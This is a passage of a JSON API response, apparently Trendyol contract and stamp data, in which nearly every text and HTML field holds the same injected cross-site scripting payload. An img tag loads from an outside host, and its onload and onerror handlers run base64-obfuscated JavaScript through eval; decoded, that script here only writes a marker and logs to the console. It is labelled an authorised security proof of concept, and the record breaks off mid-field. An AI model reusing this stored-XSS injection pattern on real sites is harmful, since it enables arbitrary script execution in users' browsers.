style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"}],"stamps":[{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" 